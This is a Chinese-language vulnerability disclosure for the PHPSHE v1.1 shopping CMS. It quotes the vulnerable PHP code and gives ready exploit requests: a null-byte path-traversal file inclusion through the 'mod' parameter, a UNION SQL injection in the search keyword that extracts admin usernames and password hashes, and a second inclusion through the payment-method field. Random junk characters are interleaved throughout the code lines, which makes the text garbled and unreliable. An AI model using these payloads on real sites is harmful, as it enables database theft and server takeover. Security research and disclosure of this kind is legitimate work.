phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
% \: D  f$ r9 |# N/* Phpshe v1.1 Vulnerability
/* ========================
5 [' o' V  a& E: z: [  {9 r/* By: : Kn1f3
3 V2 F- k$ p# i& g; N/* E-Mail : 681796@qq.com
% P: ^4 Q* G# m& T  X/*******************************************************/
0×00 整体大概参数传输
6 s% c- T; L0 s5 ]0 B) T  H
' z* ~0 E$ v# q! {
0 h! u! Z. g: N- _, b9 p5 O3 b# H
//common.php
  g4 H* O- S6 {1 |2 y2 v; tif (get_magic_quotes_gpc()) {
2 u$ O% E1 e, k3 ~. }) D!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
* D; Y$ E# V, B4 g  telse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
. b" @6 O* ~& V( y" x! P!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
6 V% s' ~' d" y2 ^) R7 S8 P: [+ @5 k: z" e}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
, t; E1 u# t2 i: ?# d( d
) u1 l% y. i; t0 n5 {3 ?0 H; f0×01 包含漏洞
! m5 L" ?. L6 `: v
! T; \7 y) R% C; Z, p
//首页文件
- m. B5 L/ L7 g' ]: I$ ~/ Q<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
7 c) L/ g8 K6 B; W, w7 s$ h& a+ Tinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
6 Y" a8 G4 u  Hpe_result();
2 C: o3 x: T5 F" \0 `, s6 i0 Z?>
" S4 A5 n3 e% [1 o$ ^6 l//common 文件 第15行开始
3 n; t  @) A/ L* murl路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
- ?0 T9 M: i" F! X6 ]% `//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
+ I( M- s2 O# |7 F( @  U" {- a

0×02 搜索注入
6 \0 c- c% m! H% o1 h) `, g
<code id="code2">

//product.php文件
& U( F% P) @) U: \/ v2 Y" D/ r) Tcase 'list':
$category_id = intval($id);
3 t7 h$ e6 @* Q$ d0 C. U& @' X$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
0 }8 h6 y( f4 N/ B. \$sqlwhere = " and `product_state` = 1";
2 ]( X- l& P: x. ~* F! G# {pe_lead('hook/category.hook.php');
if ($category_id) {
( ?# Y( }8 z1 R  f# k; f' y* }where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
* k/ H8 Q* @+ L, }5 P' m' s3 P$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
' J) K; m* J8 Z8 v; v+ ^- E% o, ?$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
; c) |/ l# `( ?, n/ n}
' ^9 x& `7 n/ |7 P, _+ E  O3 Welse {
$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
$ A' x: j" n0 ~0 R, U2 B" w//热卖排行
9 M" A8 r6 X# R( z5 Y. _8 n( e* G) O$product_hotlist = product_hotlist();
//当前路径
6 T- N4 R3 G: _1 y1 l6 }2 C$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
7 b- I. q! R; Y9 e' _5 \7 l  Winclude(pe_tpl('product_list.html'));
/ b9 ~2 r, Q* s6 c1 L) [- ]//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
: N# O6 }( b! s' A+ X, L{
0 _" S, u+ Y& `, w& Q+ l/ o- o$ }//处理条件语句
$sqlwhere = $this->_dowhere($where);
! p* u% S9 h8 V; Hreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
& P& \- o( e6 ^$ \}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
3 i5 ?% [- @2 q( W, X

</code>
$ m2 `5 f/ I* T1 u# S; j0 w
! x  F- s9 y8 L+ L3 g- c. w0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

: J- q# c6 f; [/ c) I+ L$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

+ Y5 y( V' u5 h& ]* U: f/ I}

9 Q8 B5 w0 m- t) V5 r0 d! y}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

/ |1 a0 [8 [3 i# b!$order['order_id'] && pe_error('订单号错误...');

! R& [  Q8 a$ O) R, Wif (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

# g& c4 b7 ^! F$ {5 `! }$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

1 Q" c$ T. s3 [! ?2 mforeach ($info_list as $v) {

6 N0 o  H- G! ?. D: h$order['order_name'] .= "{$v['product_name']};";

% @* q8 G$ }/ E% v) x}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

/ [3 h9 v1 ]% Z0 N8 b  S9 r}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

pe_error('支付错误...');

- }' Y8 b# c- m* Y}

}

# E- L' b3 ^5 Y1 n, k5 R% @$seo = pe_seo('选择支付方式');

2 s' d& ^, H, V0 b" [' ?# x; qinclude(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
3 @* s* J1 i! O  x; }